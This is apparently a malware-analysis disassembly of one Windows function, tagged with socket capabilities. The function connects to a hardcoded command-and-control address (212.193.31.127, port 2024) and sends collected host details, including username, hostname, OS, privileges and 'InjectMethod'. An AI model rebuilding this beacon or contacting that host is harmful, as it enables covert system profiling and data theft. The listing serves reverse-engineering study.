Function at 0x140004140
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [0x1400c0060]
test rbx, rbx
je 0x140004470
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
je 0x140004460
mov rax, qword [0x1400c0060]
xor edx, edx
mov r8d, 0xa
lea rcx, str.2024
lea rsi, [rsp + 0x3c]
mov byte [rax + 8], 0
mov eax, 2
mov qword [rsp + 0x42], 0
mov word [rsp + 0x40], ax
mov qword [rsp + 0x48], 0
call sub.msvcrt.dll_strtoul
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.212.193.31.127
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x3c], 1
mov r9, rsi
mov rbx, qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rsp + 0x44], eax
mov rax, qword [0x1400c0060]
mov r8d, 4
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x1400044f8
mov rax, qword [0x1400c0060]
mov r9, rsi
mov r8d, 8
mov edx, 0xffff
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004510
mov rax, qword [0x1400c0060]
mov r9, rsi
mov r8d, 1
mov edx, 6
mov rcx, qword [rax]
mov dword [rsp + 0x20], 4
call rbx
cmp eax, 0xffffffff
je 0x140004528
mov rax, qword [0x1400c0060]
lea rdx, [rsp + 0x40]
mov r8d, 0x10
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140004450
call fcn.140001920
mov rbx, rax
test rax, rax
je 0x140004450
lea rcx, str._____System_Info_____
call fcn.140001800
mov rdx, qword [rbx + 8]
lea rcx, str.Username:__s
call fcn.140001800
mov rdx, qword [rbx]
lea rcx, str.Hostname:__s
call fcn.140001800
mov rdx, qword [rbx + 0x10]
lea rcx, str.OS:__s
call fcn.140001800
mov rdx, qword [rbx + 0x18]
lea rcx, str.Arch:__s
call fcn.140001800
mov rdx, qword [rbx + 0x20]
lea rcx, str.InjectMethod:__s
call fcn.140001800
mov edx, dword [rbx + 0x28]
lea rcx, str.CPUCount:__d
call fcn.140001800
call fcn.140001860
lea rcx, str.IPV6_Supported:__d
movzx edx, al
call fcn.140001800
movzx edx, byte [rbx + 0x41]
lea rcx, str.SuperUser:__d
call fcn.140001800
cvttsd2si edx, qword [rbx + 0x48]
lea rcx, str.Memory:__dMB
call fcn.140001800
mov rdx, qword [rbx + 0x30]
lea rcx, str.Version:__s
call fcn.140001800
lea rcx, str._____________________
call fcn.140001800
mov rdx, qword [0x1400c0060]
lea r9, str.2024
lea r8, str.212.193.31.127
lea rcx, str.Connected_to___p__s:_d_n
call fcn.140001800
mov rax, qword [0x1400c0060]
mov rcx, qword [rax + 0x10]
call fcn.14008a760
mov rax, qword [0x1400c0060]
xor edx, edx
mov rcx, qword [rax]
call fcn.140003490
test rax, rax
je 0x140004408
mov rax, qword [0x1400c0060]
mov edx, 1
mov rcx, qword [rax]
call fcn.140003490
test rax, rax
je 0x140004408
mov rax, qword [0x1400c0060]
lea rdx, str.SystemInfo
mov rcx, qword [rax]
call fcn.140003510
test rax, rax
je 0x140004408
mov rax, qword [0x1400c0060]
mov edx, 0xa
mov rcx, qword [rax]
call fcn.140003490
test rax, rax
je 0x140004408
mov edx, 0xa
mov rcx, rbx
call fcn.140003b70
mov rdx, rax
mov rax, qword [0x1400c0060]
mov rcx, qword [rax]
call fcn.140003510
mov rax, qword [0x1400c0060]
mov rcx, qword [rax + 0x10]
call fcn.14008aa50
mov rcx, rbx
call fcn.140001cf0
mov r9, qword [0x1400c0060]
xor edx, edx
lea r8, [0x140003fa0]
lea rcx, [r9 + 0x18]
call fcn.14008d110
mov edx, eax
mov eax, 1
test edx, edx
jne 0x1400044b0
add rsp, 0x58
pop rbx
pop rsi
ret
mov rax, qword [0x1400c0060]
mov rcx, qword [rax]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
ret
mov ecx, 0x20
call sub.msvcrt.dll_malloc
mov ecx, 8
mov rbx, rax
mov qword [0x1400c0060], rax
call sub.msvcrt.dll_malloc
xor edx, edx
mov qword [rbx + 0x10], rax
mov rcx, rax
call fcn.14008aba0
mov rbx, qword [0x1400c0060]
jmp 0x140004156
mov rbx, qword [0x1400c0060]
test rbx, rbx
je 0x140004460
cmp qword [rbx], 0xffffffffffffffff
je 0x140004460
cmp byte [rbx + 8], 0
jne 0x140004460
lea rcx, str.Closing_connection
call fcn.140001800
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbx + 8], 1
mov rcx, qword [rbx + 0x18]
call fcn.14008cb50
xor eax, eax
jmp 0x140004462
lea rcx, str.setsockopt_SO_REUSEADDR
call fcn.140001820
jmp 0x14000420f
lea rcx, str.setsockopt_SO_KEEPALIVE
call fcn.140001820
jmp 0x14000423a
lea rcx, str.setsockopt_TCP_NODELAY
call fcn.140001820
jmp 0x140004265